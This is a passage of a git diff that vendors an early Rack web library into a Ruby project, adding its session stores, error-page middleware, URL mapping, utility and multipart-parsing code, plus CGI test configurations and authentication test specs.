env['rack.session'] + options = env['rack.session.options'] + expiry = options[:expire_after] || 0 + o, s = @mutex.synchronize do + old_session = @pool.get(sid) + unless old_session.is_a?(Hash) + warn 'Session not properly initialized.' if $DEBUG + old_session = {} + @pool.add sid, old_session, expiry + end + session.instance_eval do + @deleted.each{|k| old_session.delete(k) } if defined? @deleted + end + @pool.set sid, old_session.merge(session), expiry + [old_session, session] + end + s.each do |k,v| + next unless o.has_key?(k) and v != o[k] + warn "session value assignment collision at #{k.inspect}:"+ + "\n\t#{o[k].inspect}\n\t#{v.inspect}" + end if $DEBUG and env['rack.multithread'] + return true + rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted + warn "#{self} is unable to find server." + warn $!.inspect + return false + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/session/pool.rb b/vendor/plugins/rack/lib/rack/session/pool.rb new file mode 100644 index 00000000..8e192d74 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/session/pool.rb @@ -0,0 +1,73 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net +# THANKS: +# apeiros, for session id generation, expiry setup, and threadiness +# sergio, threadiness and bugreps + +require 'rack/session/abstract/id' +require 'thread' + +module Rack + module Session + # Rack::Session::Pool provides simple cookie based session management. + # Session data is stored in a hash held by @pool. + # In the context of a multithreaded environment, sessions being + # committed to the pool is done in a merging manner. + # + # Example: + # myapp = MyRackApp.new + # sessioned = Rack::Session::Pool.new(myapp, + # :key => 'rack.session', + # :domain => 'foo.com', + # :path => '/', + # :expire_after => 2592000 + # ) + # Rack::Handler::WEBrick.run sessioned + + class Pool < Abstract::ID + attr_reader :mutex, :pool + DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.dup + + def initialize(app, options={}) + super + @pool = Hash.new + @mutex = Mutex.new + end + + private + + def get_session(env, sid) + session = @mutex.synchronize do + unless sess = @pool[sid] and ((expires = sess[:expire_at]).nil? or expires > Time.now) + @pool.delete_if{|k,v| expiry = v[:expire_at] and expiry < Time.now } + begin + sid = generate_sid + end while @pool.has_key?(sid) + end + @pool[sid] ||= {} + end + [sid, session] + end + + def set_session(env, sid) + options = env['rack.session.options'] + expiry = options[:expire_after] && options[:at]+options[:expire_after] + @mutex.synchronize do + old_session = @pool[sid] + old_session[:expire_at] = expiry if expiry + session = old_session.merge(env['rack.session']) + @pool[sid] = session + session.each do |k,v| + next unless old_session.has_key?(k) and v != old_session[k] + warn "session value assignment collision at #{k}: #{old_session[k]} <- #{v}" + end if $DEBUG and env['rack.multithread'] + end + return true + rescue + warn "#{self} is unable to find server." + warn "#{env['rack.session'].inspect} has been lost." + warn $!.inspect + return false + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/showexceptions.rb b/vendor/plugins/rack/lib/rack/showexceptions.rb new file mode 100644 index 00000000..3fee6ae0 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/showexceptions.rb @@ -0,0 +1,348 @@ +require 'ostruct' +require 'erb' +require 'rack/request' + +module Rack + # Rack::ShowExceptions catches all exceptions raised from the app it + # wraps. It shows a useful backtrace with the sourcefile and + # clickable context, the whole Rack environment and the request + # data. + # + # Be careful when you use this on public-facing sites as it could + # reveal information helpful to attackers. + + class ShowExceptions + CONTEXT = 7 + + def initialize(app) + @app = app + @template = ERB.new(TEMPLATE) + end + + def call(env) + @app.call(env) + rescue StandardError, LoadError, SyntaxError => e + backtrace = pretty(env, e) + [500, + {"Content-Type" => "text/html", + "Content-Length" => backtrace.join.size.to_s}, + backtrace] + end + + def pretty(env, exception) + req = Rack::Request.new(env) + path = (req.script_name + req.path_info).squeeze("/") + + frames = exception.backtrace.map { |line| + frame = OpenStruct.new + if line =~ /(.*?):(\d+)(:in `(.*)')?/ + frame.filename = $1 + frame.lineno = $2.to_i + frame.function = $4 + + begin + lineno = frame.lineno-1 + lines = ::File.readlines(frame.filename) + frame.pre_context_lineno = [lineno-CONTEXT, 0].max + frame.pre_context = lines[frame.pre_context_lineno...lineno] + frame.context_line = lines[lineno].chomp + frame.post_context_lineno = [lineno+CONTEXT, lines.size].min + frame.post_context = lines[lineno+1..frame.post_context_lineno] + rescue + end + + frame + else + nil + end + }.compact + + env["rack.errors"].puts "#{exception.class}: #{exception.message}" + env["rack.errors"].puts exception.backtrace.map { |l| "\t" + l } + env["rack.errors"].flush + + [@template.result(binding)] + end + + def h(obj) # :nodoc: + case obj + when String + Utils.escape_html(obj) + else + Utils.escape_html(obj.inspect) + end + end + + # :stopdoc: + +# adapted from Django +# Copyright (c) 2005, the Lawrence Journal-World +# Used under the modified BSD license: +# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5 +TEMPLATE = <<'HTML' + + + + + + <%=h exception.class %> at <%=h path %> + + + + + +
+

<%=h exception.class %> at <%=h path %>

+

<%=h exception.message %>

+ + + + + + +
Ruby<%=h frames.first.filename %>: in <%=h frames.first.function %>, line <%=h frames.first.lineno %>
Web<%=h req.request_method %> <%=h(req.host + path)%>
+ +

Jump to:

+ +
+ +
+

Traceback (innermost first)

+
    +<% frames.each { |frame| %> +
  • + <%=h frame.filename %>: in <%=h frame.function %> + + <% if frame.context_line %> +
    + <% if frame.pre_context %> +
      + <% frame.pre_context.each { |line| %> +
    1. <%=h line %>
    2. + <% } %> +
    + <% end %> + +
      +
    1. <%=h frame.context_line %>...
    + + <% if frame.post_context %> +
      + <% frame.post_context.each { |line| %> +
    1. <%=h line %>
    2. + <% } %> +
    + <% end %> +
    + <% end %> +
  • +<% } %> +
+
+ +
+

Request information

+ +

GET

+ <% unless req.GET.empty? %> + + + + + + + + + <% req.GET.sort_by { |k, v| k.to_s }.each { |key, val| %> + + + + + <% } %> + +
VariableValue
<%=h key %>
<%=h val.inspect %>
+ <% else %> +

No GET data.

+ <% end %> + +

POST

+ <% unless req.POST.empty? %> + + + + + + + + + <% req.POST.sort_by { |k, v| k.to_s }.each { |key, val| %> + + + + + <% } %> + +
VariableValue
<%=h key %>
<%=h val.inspect %>
+ <% else %> +

No POST data.

+ <% end %> + + + + <% unless req.cookies.empty? %> + + + + + + + + + <% req.cookies.each { |key, val| %> + + + + + <% } %> + +
VariableValue
<%=h key %>
<%=h val.inspect %>
+ <% else %> +

No cookie data.

+ <% end %> + +

Rack ENV

+ + + + + + + + + <% env.sort_by { |k, v| k.to_s }.each { |key, val| %> + + + + + <% } %> + +
VariableValue
<%=h key %>
<%=h val %>
+ +
+ +
+

+ You're seeing this error because you use Rack::ShowException. +

+
+ + + +HTML + + # :startdoc: + end +end diff --git a/vendor/plugins/rack/lib/rack/showstatus.rb b/vendor/plugins/rack/lib/rack/showstatus.rb new file mode 100644 index 00000000..5f13404d --- /dev/null +++ b/vendor/plugins/rack/lib/rack/showstatus.rb @@ -0,0 +1,106 @@ +require 'erb' +require 'rack/request' +require 'rack/utils' + +module Rack + # Rack::ShowStatus catches all empty responses the app it wraps and + # replaces them with a site explaining the error. + # + # Additional details can be put into rack.showstatus.detail + # and will be shown as HTML. If such details exist, the error page + # is always rendered, even if the reply was not empty. + + class ShowStatus + def initialize(app) + @app = app + @template = ERB.new(TEMPLATE) + end + + def call(env) + status, headers, body = @app.call(env) + headers = Utils::HeaderHash.new(headers) + empty = headers['Content-Length'].to_i <= 0 + + # client or server error, or explicit message + if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"] + req = Rack::Request.new(env) + message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s + detail = env["rack.showstatus.detail"] || message + body = @template.result(binding) + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]] + else + [status, headers, body] + end + end + + def h(obj) # :nodoc: + case obj + when String + Utils.escape_html(obj) + else + Utils.escape_html(obj.inspect) + end + end + + # :stopdoc: + +# adapted from Django +# Copyright (c) 2005, the Lawrence Journal-World +# Used under the modified BSD license: +# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5 +TEMPLATE = <<'HTML' + + + + + <%=h message %> at <%=h req.script_name + req.path_info %> + + + + +
+

<%=h message %> (<%= status.to_i %>)

+ + + + + + + + + +
Request Method:<%=h req.request_method %>
Request URL:<%=h req.url %>
+
+
+

<%= detail %>

+
+ +
+

+ You're seeing this error because you use Rack::ShowStatus. +

+
+ + +HTML + + # :startdoc: + end +end diff --git a/vendor/plugins/rack/lib/rack/static.rb b/vendor/plugins/rack/lib/rack/static.rb new file mode 100644 index 00000000..168e8f83 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/static.rb @@ -0,0 +1,38 @@ +module Rack + + # The Rack::Static middleware intercepts requests for static files + # (javascript files, images, stylesheets, etc) based on the url prefixes + # passed in the options, and serves them using a Rack::File object. This + # allows a Rack stack to serve both static and dynamic content. + # + # Examples: + # use Rack::Static, :urls => ["/media"] + # will serve all requests beginning with /media from the "media" folder + # located in the current directory (ie media/*). + # + # use Rack::Static, :urls => ["/css", "/images"], :root => "public" + # will serve all requests beginning with /css or /images from the folder + # "public" in the current directory (ie public/css/* and public/images/*) + + class Static + + def initialize(app, options={}) + @app = app + @urls = options[:urls] || ["/favicon.ico"] + root = options[:root] || Dir.pwd + @file_server = Rack::File.new(root) + end + + def call(env) + path = env["PATH_INFO"] + can_serve = @urls.any? { |url| path.index(url) == 0 } + + if can_serve + @file_server.call(env) + else + @app.call(env) + end + end + + end +end diff --git a/vendor/plugins/rack/lib/rack/urlmap.rb b/vendor/plugins/rack/lib/rack/urlmap.rb new file mode 100644 index 00000000..01c9603e --- /dev/null +++ b/vendor/plugins/rack/lib/rack/urlmap.rb @@ -0,0 +1,48 @@ +module Rack + # Rack::URLMap takes a hash mapping urls or paths to apps, and + # dispatches accordingly. Support for HTTP/1.1 host names exists if + # the URLs start with http:// or https://. + # + # URLMap modifies the SCRIPT_NAME and PATH_INFO such that the part + # relevant for dispatch is in the SCRIPT_NAME, and the rest in the + # PATH_INFO. This should be taken care of when you need to + # reconstruct the URL in order to create links. + # + # URLMap dispatches in such a way that the longest paths are tried + # first, since they are most specific. + + class URLMap + def initialize(map) + @mapping = map.map { |location, app| + if location =~ %r{\Ahttps?://(.*?)(/.*)} + host, location = $1, $2 + else + host = nil + end + + unless location[0] == ?/ + raise ArgumentError, "paths need to start with /" + end + location = location.chomp('/') + + [host, location, app] + }.sort_by { |(h, l, a)| [-l.size, h.to_s.size] } # Longest path first + end + + def call(env) + path = env["PATH_INFO"].to_s.squeeze("/") + hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT') + @mapping.each { |host, location, app| + next unless (hHost == host || sName == host \ + || (host.nil? && (hHost == sName || hHost == sName+':'+sPort))) + next unless location == path[0, location.size] + next unless path[location.size] == nil || path[location.size] == ?/ + env["SCRIPT_NAME"] += location + env["PATH_INFO"] = path[location.size..-1] + return app.call(env) + } + [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]] + end + end +end + diff --git a/vendor/plugins/rack/lib/rack/utils.rb b/vendor/plugins/rack/lib/rack/utils.rb new file mode 100644 index 00000000..3fb7a703 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/utils.rb @@ -0,0 +1,347 @@ +require 'set' +require 'tempfile' + +module Rack + # Rack::Utils contains a grab-bag of useful methods for writing web + # applications adopted from all kinds of Ruby libraries. + + module Utils + # Performs URI escaping so that you can construct proper + # query strings faster. Use this rather than the cgi.rb + # version since it's faster. (Stolen from Camping). + def escape(s) + s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) { + '%'+$1.unpack('H2'*$1.size).join('%').upcase + }.tr(' ', '+') + end + module_function :escape + + # Unescapes a URI escaped string. (Stolen from Camping). + def unescape(s) + s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){ + [$1.delete('%')].pack('H*') + } + end + module_function :unescape + + # Stolen from Mongrel, with some small modifications: + # Parses a query string by breaking it up at the '&' + # and ';' characters. You can also use this to parse + # cookies by changing the characters used in the second + # parameter (which defaults to '&;'). + + def parse_query(qs, d = '&;') + params = {} + + (qs || '').split(/[#{d}] */n).each do |p| + k, v = unescape(p).split('=', 2) + + if cur = params[k] + if cur.class == Array + params[k] << v + else + params[k] = [cur, v] + end + else + params[k] = v + end + end + + return params + end + module_function :parse_query + + def build_query(params) + params.map { |k, v| + if v.class == Array + build_query(v.map { |x| [k, x] }) + else + escape(k) + "=" + escape(v) + end + }.join("&") + end + module_function :build_query + + # Escape ampersands, brackets and quotes to their HTML/XML entities. + def escape_html(string) + string.to_s.gsub("&", "&"). + gsub("<", "<"). + gsub(">", ">"). + gsub("'", "'"). + gsub('"', """) + end + module_function :escape_html + + def select_best_encoding(available_encodings, accept_encoding) + # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html + + expanded_accept_encoding = + accept_encoding.map { |m, q| + if m == "*" + (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] } + else + [[m, q]] + end + }.inject([]) { |mem, list| + mem + list + } + + encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m } + + unless encoding_candidates.include?("identity") + encoding_candidates.push("identity") + end + + expanded_accept_encoding.find_all { |m, q| + q == 0.0 + }.each { |m, _| + encoding_candidates.delete(m) + } + + return (encoding_candidates & available_encodings)[0] + end + module_function :select_best_encoding + + # The recommended manner in which to implement a contexting application + # is to define a method #context in which a new Context is instantiated. + # + # As a Context is a glorified block, it is highly recommended that you + # define the contextual block within the application's operational scope. + # This would typically the application as you're place into Rack's stack. + # + # class MyObject + # ... + # def context app + # Rack::Utils::Context.new app do |env| + # do_stuff + # response = app.call(env) + # do_more_stuff + # end + # end + # ... + # end + # + # mobj = MyObject.new + # app = mobj.context other_app + # Rack::Handler::Mongrel.new app + class Context < Proc + alias_method :old_inspect, :inspect + attr_reader :for, :app + def initialize app_f, app_r + raise 'running context not provided' unless app_f + raise 'running context does not respond to #context' unless app_f.respond_to? :context + raise 'application context not provided' unless app_r + raise 'application context does not respond to #call' unless app_r.respond_to? :call + @for = app_f + @app = app_r + end + def inspect + "#{old_inspect} ==> #{@for.inspect} ==> #{@app.inspect}" + end + def context app_r + raise 'new application context not provided' unless app_r + raise 'new application context does not respond to #call' unless app_r.respond_to? :call + @for.context app_r + end + def pretty_print pp + pp.text old_inspect + pp.nest 1 do + pp.breakable + pp.text '=for> ' + pp.pp @for + pp.breakable + pp.text '=app> ' + pp.pp @app + end + end + end + + # A case-insensitive Hash that preserves the original case of a + # header when set. + class HeaderHash < Hash + def initialize(hash={}) + @names = {} + hash.each { |k, v| self[k] = v } + end + + def to_hash + {}.replace(self) + end + + def [](k) + super @names[k.downcase] + end + + def []=(k, v) + delete k + @names[k.downcase] = k + super k, v + end + + def delete(k) + super @names.delete(k.downcase) + end + + def include?(k) + @names.has_key? k.downcase + end + + alias_method :has_key?, :include? + alias_method :member?, :include? + alias_method :key?, :include? + + def merge!(other) + other.each { |k, v| self[k] = v } + self + end + + def merge(other) + hash = dup + hash.merge! other + end + end + + # Every standard HTTP code mapped to the appropriate message. + # Stolen from Mongrel. + HTTP_STATUS_CODES = { + 100 => 'Continue', + 101 => 'Switching Protocols', + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 307 => 'Temporary Redirect', + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Large', + 415 => 'Unsupported Media Type', + 416 => 'Requested Range Not Satisfiable', + 417 => 'Expectation Failed', + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported' + } + + # Responses with HTTP status codes that should not have an entity body + STATUS_WITH_NO_ENTITY_BODY = Set.new((100..199).to_a << 204 << 304) + + # A multipart form data parser, adapted from IOWA. + # + # Usually, Rack::Request#POST takes care of calling this. + + module Multipart + EOL = "\r\n" + + def self.parse_multipart(env) + unless env['CONTENT_TYPE'] =~ + %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n + nil + else + boundary = "--#{$1}" + + params = {} + buf = "" + content_length = env['CONTENT_LENGTH'].to_i + input = env['rack.input'] + + boundary_size = boundary.size + EOL.size + bufsize = 16384 + + content_length -= boundary_size + + status = input.read(boundary_size) + raise EOFError, "bad content body" unless status == boundary + EOL + + rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/ + + loop { + head = nil + body = '' + filename = content_type = name = nil + + until head && buf =~ rx + if !head && i = buf.index("\r\n\r\n") + head = buf.slice!(0, i+2) # First \r\n + buf.slice!(0, 2) # Second \r\n + + filename = head[/Content-Disposition:.* filename="?([^\";]*)"?/ni, 1] + content_type = head[/Content-Type: (.*)\r\n/ni, 1] + name = head[/Content-Disposition:.* name="?([^\";]*)"?/ni, 1] + + if filename + body = Tempfile.new("RackMultipart") + body.binmode if body.respond_to?(:binmode) + end + + next + end + + # Save the read body part. + if head && (boundary_size+4 < buf.size) + body << buf.slice!(0, buf.size - (boundary_size+4)) + end + + c = input.read(bufsize < content_length ? bufsize : content_length) + raise EOFError, "bad content body" if c.nil? || c.empty? + buf << c + content_length -= c.size + end + + # Save the rest. + if i = buf.index(rx) + body << buf.slice!(0, i) + buf.slice!(0, boundary_size+2) + + content_length = -1 if $1 == "--" + end + + if filename + body.rewind + data = {:filename => filename, :type => content_type, + :name => name, :tempfile => body, :head => head} + else + data = body + end + + if name + if name =~ /\[\]\z/ + params[name] ||= [] + params[name] << data + else + params[name] = data + end + end + + break if buf.empty? || content_length == -1 + } + + params + end + end + end + end +end diff --git a/vendor/plugins/rack/test/cgi/lighttpd.conf b/vendor/plugins/rack/test/cgi/lighttpd.conf new file mode 100644 index 00000000..889726c6 --- /dev/null +++ b/vendor/plugins/rack/test/cgi/lighttpd.conf @@ -0,0 +1,20 @@ +server.modules = ("mod_fastcgi", "mod_cgi") +server.document-root = "." +server.errorlog = "lighttpd.errors" +server.port = 9203 + +server.event-handler = "select" + +cgi.assign = ("/test" => "", +# ".ru" => "" + ) + +fastcgi.server = ("test.fcgi" => ("localhost" => + ("min-procs" => 1, + "socket" => "/tmp/rack-test-fcgi", + "bin-path" => "test.fcgi")), + "test.ru" => ("localhost" => + ("min-procs" => 1, + "socket" => "/tmp/rack-test-ru-fcgi", + "bin-path" => "test.ru")), + ) diff --git a/vendor/plugins/rack/test/cgi/test b/vendor/plugins/rack/test/cgi/test new file mode 100755 index 00000000..e4837a4e --- /dev/null +++ b/vendor/plugins/rack/test/cgi/test @@ -0,0 +1,9 @@ +#!/usr/bin/env ruby +# -*- ruby -*- + +$: << File.join(File.dirname(__FILE__), "..", "..", "lib") + +require 'rack' +require '../testrequest' + +Rack::Handler::CGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/plugins/rack/test/cgi/test.fcgi b/vendor/plugins/rack/test/cgi/test.fcgi new file mode 100755 index 00000000..5e104fc9 --- /dev/null +++ b/vendor/plugins/rack/test/cgi/test.fcgi @@ -0,0 +1,8 @@ +#!/usr/bin/env ruby +# -*- ruby -*- + +$:.unshift '../../lib' +require 'rack' +require '../testrequest' + +Rack::Handler::FastCGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/plugins/rack/test/cgi/test.ru b/vendor/plugins/rack/test/cgi/test.ru new file mode 100755 index 00000000..4054b886 --- /dev/null +++ b/vendor/plugins/rack/test/cgi/test.ru @@ -0,0 +1,7 @@ +#!/usr/bin/env ../../bin/rackup +#\ -E deployment -I ../../lib +# -*- ruby -*- + +require '../testrequest' + +run TestRequest.new diff --git a/vendor/plugins/rack/test/spec_rack_auth_basic.rb b/vendor/plugins/rack/test/spec_rack_auth_basic.rb new file mode 100644 index 00000000..3a76155d --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_auth_basic.rb @@ -0,0 +1,69 @@ +require 'test/spec' + +require 'rack/auth/basic' +require 'rack/mock' + +context 'Rack::Auth::Basic' do + + def realm + 'WallysWorld' + end + + def unprotected_app + lambda { |env| [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] } + end + + def protected_app + app = Rack::Auth::Basic.new(unprotected_app) { |username, password| 'Boss' == username } + app.realm = realm + app + end + + setup do + @request = Rack::MockRequest.new(protected_app) + end + + def request_with_basic_auth(username, password, &block) + request 'HTTP_AUTHORIZATION' => 'Basic ' + ["#{username}:#{password}"].pack("m*"), &block + end + + def request(headers = {}) + yield @request.get('/', headers) + end + + def assert_basic_auth_challenge(response) + response.should.be.a.client_error + response.status.should.equal 401 + response.should.include 'WWW-Authenticate' + response.headers['WWW-Authenticate'].should =~ /Basic realm="/ + response.body.should.be.empty + end + + specify 'should challenge correctly when no credentials are specified' do + request do |response| + assert_basic_auth_challenge response + end + end + + specify 'should rechallenge if incorrect credentials are specified' do + request_with_basic_auth 'joe', 'password' do |response| + assert_basic_auth_challenge response + end + end + + specify 'should return application output if correct credentials are specified' do + request_with_basic_auth 'Boss', 'password' do |response| + response.status.should.equal 200 + response.body.to_s.should.equal 'Hi Boss' + end + end + + specify 'should return 400 Bad Request if different auth scheme used' do + request 'HTTP_AUTHORIZATION' => 'Digest params' do |response| + response.should.be.a.client_error + response.status.should.equal 400 + response.should.not.include 'WWW-Authenticate' + end + end + +end diff --git a/vendor/plugins/rack/test/spec_rack_auth_digest.rb b/vendor/plugins/rack/test/spec_rack_auth_digest.rb new file mode 100644 index 00000000..67fb0e53 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_auth_digest.rb @@ -0,0 +1,169 @@ +require 'test/spec' + +require 'rack/auth/digest/md5' +require 'rack/mock' + +context 'Rack::Auth::Digest::MD5' do + + def realm + 'WallysWorld' + end + + def unprotected_app + lambda do |env| + [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] + end + end + + def protected_app + app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| + { 'Alice' => 'correct-password' }[username] + end + app.realm = realm + app.opaque = 'this-should-be-secret' + app + end + + def protected_app_with_hashed_passwords + app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| + username == 'Alice' ? Digest::MD5.hexdigest("Alice:#{realm}:correct-password") : nil + end + app.realm = realm + app.opaque = 'this-should-be-secret' + app.passwords_hashed = true + app + end + + setup do + @request = Rack::MockRequest.new(protected_app) + end + + def request(path, headers = {}, &block) + response = @request.get(path, headers) + block.call(response) if block + return response + end + + class MockDigestRequest + def initialize(params) + @params = params + end + def method_missing(sym) + if @params.has_key? k = sym.to_s + return @params[k] + end + super + end + def method + 'GET' + end + def response(password) + Rack::Auth::Digest::MD5.new(nil).send :digest, self, password + end + end + + def request_with_digest_auth(path, username, password, options = {}, &block) + response = request('/') + + return response unless response.status == 401 + + if wait = options.delete(:wait) + sleep wait + end + + challenge = response['WWW-Authenticate'].split(' ', 2).last + + params = Rack::Auth::Digest::Params.parse(challenge) + + params['username'] = username + params['nc'] = '00000001' + params['cnonce'] = 'nonsensenonce' + params['uri'] = path + + params.update options + + params['response'] = MockDigestRequest.new(params).response(password) + + request(path, { 'HTTP_AUTHORIZATION' => "Digest #{params}" }, &block) + end + + def assert_digest_auth_challenge(response) + response.should.be.a.client_error + response.status.should.equal 401 + response.should.include 'WWW-Authenticate' + response.headers['WWW-Authenticate'].should =~ /^Digest / + response.body.should.be.empty + end + + def assert_bad_request(response) + response.should.be.a.client_error + response.status.should.equal 400 + response.should.not.include 'WWW-Authenticate' + end + + specify 'should challenge when no credentials are specified' do + request '/' do |response| + assert_digest_auth_challenge response + end + end + + specify 'should return application output if correct credentials given' do + request_with_digest_auth '/', 'Alice', 'correct-password' do |response| + response.status.should.equal 200 + response.body.to_s.should.equal 'Hi Alice' + end + end + + specify 'should return application output if correct credentials given (hashed passwords)' do + @request = Rack::MockRequest.new(protected_app_with_hashed_passwords) + + request_with_digest_auth '/', 'Alice', 'correct-password' do |response| + response.status.should.equal 200 + response.body.to_s.should.equal 'Hi Alice' + end + end + + specify 'should rechallenge if incorrect username given' do + request_with_digest_auth '/', 'Bob', 'correct-password' do |response| + assert_digest_auth_challenge response + end + end + + specify 'should rechallenge if incorrect password given' do + request_with_digest_auth '/', 'Alice', 'wrong-password' do |response| + assert_digest_auth_challenge response + end + end + + specify 'should rechallenge with stale parameter if nonce is stale' do + begin + Rack::Auth::Digest::Nonce.time_limit = 1 + + request_with_digest_auth '/', 'Alice', 'correct-password', :wait => 2 do |response| + assert_digest_auth_challenge response + response.headers['WWW-Authenticate'].should =~ /\bstale=true\b/ + end + ensure + Rack::Auth::Digest::Nonce.time_limit = nil + end + end + + specify 'should return 400 Bad Request if incorrect qop given' do + request_with_digest_auth '/', 'Alice', 'correct-password', 'qop' => 'auth-int' do |response| + assert_bad_request response + end + end + + specify 'should return 400 Bad Request if incorrect uri given' do + request_with_digest_auth '/', 'Alice', 'correct-password', 'uri' => '/foo' do |response| + assert_bad_request response + end + end + + specify 'should return 400 Bad Request if different auth scheme used' do + request '/', 'HTTP_AUTHORIZATION' => 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==' do |response| + assert_bad_request response + end + end + +end diff --git a/vendor/plugins/rack/test/spec_rack_auth_openid.rb b/vendor/plugins/rack/test/spec_rack_auth_openid.rb new file mode 100644 index 00000000..fd890fd7 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_auth_openid.rb @@ -0,0 +1,137 @@ +require 'test/spec' + +begin +# requires the ruby-openid gem +require 'rack/auth/openid' + +context "Rack::Auth::OpenID" do + OID = Rack::Auth::OpenID + realm = 'http://path/arf' + ruri = %w{arf arf/blargh} + auri = ruri.map{|u|'/'+u} + furi = auri.map{|u|'http://path'+u} + + specify 'realm uri should be absolute and have a path' do + lambda{OID.new('/path')}. + should.raise ArgumentError + lambda{OID.new('http://path')}. + should.raise ArgumentError + lambda{OID.new('http://path/')}. + should.not.raise + lambda{OID.new('http://path/arf')}. + should.not.raise + end + + specify 'uri options should be absolute' do + [:login_good, :login_fail, :login_quit, :return_to].each do |param| + ruri.each do |uri| + lambda{OID.new(realm, {param=>uri})}. + should.raise ArgumentError + end + auri.each do |uri| + lambda{OID.new(realm, {param=>uri})}. + should.raise ArgumentError + end + furi.each do |uri| + lambda{OID.new(realm, {param=>uri})}. + should.not.raise + end + end + end + + specify 'return_to should be absolute and be under the realm' do + lambda{OID.new(realm, {:return_to => 'http://path'})}. + should.raise ArgumentError + lambda{OID.new(realm, {:return_to => 'http://path/'})}. + should.raise ArgumentError + lambda{OID.new(realm, {:return_to => 'http://path/arf'})}. + should.not.raise + lambda{OID.new(realm, {:return_to => 'http://path/arf/'})}. + should.not.raise + lambda{OID.new(realm, {:return_to => 'http://path/arf/blargh'})}. + should.not.raise + end + + specify 'extensions should be a module' do + ext = Object.new + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.match(/not a module/) + ext2 = Module.new + lambda{OID.new(realm).add_extension(ext2)}. + should.raise(ArgumentError). + message.should.not.match(/not a module/) + end + + specify 'extensions should have required constants defined' do + ext = Module.new + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/missing/) + ext::Request = nil + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/missing/). + should.not.match(/Request/) + ext::Response = nil + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/missing/). + should.not.match(/Response/) + ext::NS_URI = nil + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.not.match(/missing/) + end + + specify 'extensions should have Request and Response defined and inherit from OpenID::Extension' do +$-w, w = nil, $-w # yuck + ext = Module.new + ext::Request = nil + ext::Response = nil + ext::NS_URI = nil + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.match(/not a class/) + ext::Request = Class.new() + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.match(/not a class/) + ext::Response = Class.new() + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/not a decendant/) + ext::Request = Class.new(::OpenID::Extension) + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/not a decendant/) + ext::Response = Class.new(::OpenID::Extension) + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.match(/NS_URI/) +$-w = w + end + + specify 'extensions should have NS_URI defined and be a string of an absolute http uri' do +$-w, w = nil, $-w # yuck + ext = Module.new + ext::Request = Class.new(::OpenID::Extension) + ext::Response = Class.new(::OpenID::Extension) + ext::NS_URI = nil + lambda{OID.new(realm).add_extension(ext)}. + should.raise(TypeError). + message.should.match(/not a string/) + ext::NS_URI = 'openid.net' + lambda{OID.new(realm).add_extension(ext)}. + should.raise(ArgumentError). + message.should.match(/not an http uri/) + ext::NS_URI = 'http://openid.net' + lambda{OID.new(realm).add_extension(ext)}. + should.not.raise +$-w = w + end +end + +rescue LoadError + $stderr.puts "Skipping Rack::Auth::OpenID tests (ruby-openid 2 is required). `gem install ruby-openid` and try again." +end diff --git a/vendor/plugins/rack/test/spec_rack_builder.rb 